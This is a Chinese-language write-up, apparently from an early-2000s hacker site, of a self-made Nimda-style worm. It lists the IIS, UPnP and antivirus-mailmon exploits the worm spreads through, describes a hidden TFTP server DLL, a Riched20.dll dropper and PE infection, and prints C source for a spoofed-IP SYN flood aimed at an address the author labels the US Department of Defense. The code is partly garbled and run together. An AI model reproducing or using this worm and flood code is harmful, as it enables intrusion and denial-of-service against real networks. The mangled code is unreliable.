1.0.0一些声明
本文并不是使用nimda的源代码来讲座的,本文的作者是根据对nimda的行为分析加上作者本人的功底自悟写出来的
本文提供的程序代码均在VC5.0/6.0+win9x/me/2000+sp1/xp/nt4.0+sp4下测试通过
1.1.1
Unicode漏洞
最近网上关于它的东西有不少,所以我就不费口舌了。
直接从网上便可得到许多的资料
1.1.2
WinME/XP UPNP 漏洞
很多黑客网站上都有它的资料,我就不在这里说了。有漏洞机器大约有30000来台,本次新增
1.1.3
金山毒霸2001的邮件监控(mailmon.exe)存在缓冲溢出漏洞
tombkeeper说的非常清楚,我就不多说了。这样的机器就更多了。本次新增
1.1.4
IIS5.0 .idq 漏洞
前些日子的Redcode就用的这个。本次新增
1.1.5
IIS4.0的缓冲漏洞
古老的漏洞了,不过仍有有这个漏洞的机器。本次新增
1.2 TFTP
这个东西用TFTPd.exe就行了,不过我这里使用TFTP.DLL作服务器。原因是我不想让人发现它的进程。这一次还利用了FTP服务器www.wormworld.com作中转。本次改进
1.4 Riched20.dll
其实就是把%system%//Riched20.dll的结构导出来,修改Dllmain的代码,把病毒体从它的体内分离出来。
这东西写起来即麻烦又废时间,索性使用另外的方法代替了
riched20()函数的内容
HANDLE hFile=CreateFile("riched20.DLL",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
//printf("\nCreate file %s failed:%d",RemoteFilePath,GetLastError());
return -1
}
//写文件内容
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(tftpdllbuff)
while(dwSizedwIndex)
{
if(!WriteFile(hFile,&richedpdllbuff[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
{
//printf("\nWrite file %s failed:%d","riched20.DLL",GetLastError());
return -1
}
dwIndex+=dwWrite;
}
//关闭文件句柄
CloseHandle(hFile);
1.5 Base64
看到代码就懂了
1.6 pe病毒部分
这是新功能。本次新增
1.7 SYNflood
分布式洪水报文攻击。本次新增。
1.8 主程序代码
--------------------------------------------------------------------------------------
file://Don't forget to link with wsock32.lib :-o
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include #include#include#include#include#include#define SEQ 0x28376839#define SYN_DEST_IP "134.60.98.7" //目的IP(美国国防部)#define FAKE_IP "134.60.98.7" //伪装IP超始值,本程序的伪装IP覆盖一个B类网段(美国国防部攻击美国国防部??!!)#define STATUS_FAILED 0xFFFF //错误返回值typedef struct _iphdr{ //定义IP首部unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //unsigned short total_len;unsigned short ident;unsigned short frag_and_flags;unsigned short ttl;unsigned char proto;unsigned short checksum;unsigned int sourceIP;unsigned int destIP;}IP_HEADER;struct{ //定义TCP伪首部unsigned long saddr;unsigned long daddr;char mbz;char ptcl;unsigned short tcpl;}psd_header;typedef struct _tcphdr{ //定义TCP首部USHORT th_sport;USHORT th_dpost;unsigned int ht_seq;unsigned int ht_ack;unsigned char th_lenres;unsigned char th_flag;USHORT th_win;USHORT th_sum;USHORT th_urp;}TCP_HEADER;USHORT checksum(USHORT *buffer,int size){ //计算验和的子函数unsigned long chsum=0;while(size1){chsum+=*buffer++;size-=sizeof(USHORT);}if(size){chsum+=*(UCHAR*)buffer;}chsum=(chsum16)+(chsum & 0xffff);chsum+=(chsum16);return (USHORT)(~chsum);}int WINAPI flood(){int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;int TimeOut=2000,SendSEQ=0;char SendBuf[128]={0};char RecvBuf[65535]={0};WSADATA wsaData;SOCKET SockRaw=(SOCKET)NULL;struct sockaddr_in DestAddr;IP_HEADER ip_header;TCP_HEADER tcp_header;//初始化SOCK_RAWif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){//fprintf(stderr,"WSAStartup failed:%d\n",ErrorCode);return 0}//建立套接字SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(SockRaw==INVALID_SOCKET){//fprintf(stderr,"WSASocket() failed:%d\n",WSAGetLastError());return 0}flag=TRUE;//设置IP_HDRINCL以自己填充IP首部ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR)//printf("Set IP_HDRINCL Error!\n");__try{ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){//fprintf(stderr,"Failed to set send TimeOut:%d\n",WSAGetLastError());return 0}memset(&DestAddr,0,sizeof(DestAddr));DestAddr.sin_family=AF_INET;DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);FakeIpNet=inet_addr(FAKE_IP);FakeIpHost=ntohl(FakeIpNet);//填充IP首部ip_header.h_verlen =(4ip_header.total_len =htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度ip_header.ident =1;ip_header.frag_and_flags =0;ip_header.ttl =128;ip_header.proto =IPPROTO_TCP;ip_header.checksum =0;ip_header.sourceIP =htonl(FakeIpHost+SendSEQ);ip_header.destIP =inet_addr(SYN_DEST_IP);//填充TCP首部tcp_header.th_sport =htons(7000);tcp_header.th_dpost =htons(8080);tcp_header.ht_seq=htonl(SEQ+SendSEQ);tcp_header.ht_ack=0;tcp_header.th_lenres =(sizeof(TCP_HEADER)/4tcp_header.th_flag =2;tcp_header.th_win =htons(16384);tcp_header.th_urp =0;tcp_header.th_sum =0;//填充TCP伪首部psd_header.saddr=ip_header.sourceIP ;psd_header.daddr=ip_header.destIP ;psd_header.mbz=0;psd_header.ptcl=IPPROTO_TCP;psd_header.tcpl=htons(sizeof(tcp_header));while(1){//每发送1024个报文输出一个标示符//printf(".");for(counter=0;counterif(SendSEQ++==65536)SendSEQ=1; //序列循环//改IP首部ip_header.checksum =0;ip_header.sourceIP =htonl(FakeIpHost+SendSEQ); //32位源IP//改TCP首部tcp_header.ht_seq =htonl(SEQ+SendSEQ); //SYN序列号tcp_header.th_sum =0;//改TCP Pseudo Headerpsd_header.saddr=ip_header.sourceIP ;//计算TCP校验和,计算校验和时需要包括TCP pssudo headermemcpy(SendBuf,&psd_header,sizeof(psd_header));memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));//计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header));memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));memcpy(Se